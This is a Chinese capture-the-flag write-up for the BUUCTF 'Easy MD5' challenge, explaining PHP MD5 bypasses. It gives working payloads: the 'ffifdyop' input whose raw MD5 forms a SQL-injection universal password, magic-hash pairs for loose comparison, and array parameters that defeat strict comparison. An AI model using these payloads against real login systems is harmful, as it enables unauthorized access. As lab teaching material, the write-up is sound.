复现环境
https://buuoj.cn/challenges#[BJDCTF2020]Easy%20MD5
考察知识点
- 代码审计
- MD5绕过
- 弱类型比较
解题分析
访问题目是一个查询框,提交查询会传入一个password参数
查询框响应头里有提示md5($pass,true)
md51md5(string,true)函数在指定了true的时候,是返回的原始 16 字符二进制格式。
而MD5绕过就是利用二进制字符串和前面的形成闭合,构成万能密码。
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
我们输入这个ffifdyop字符串以后出现以下的页面
ffifdyop提示在源码里面
源码if($a != $b && md5($a) == md5($b))
这个有多种绕过
?a=QNKCDZO&b=240610708
?a=s878926199a&b=s155964671a
?a[]=1&b[]=2
等等
弱类型比较绕过if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
弱类型比较变成了强类型比较了,这里就只能用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。
php数组绕过
网友评论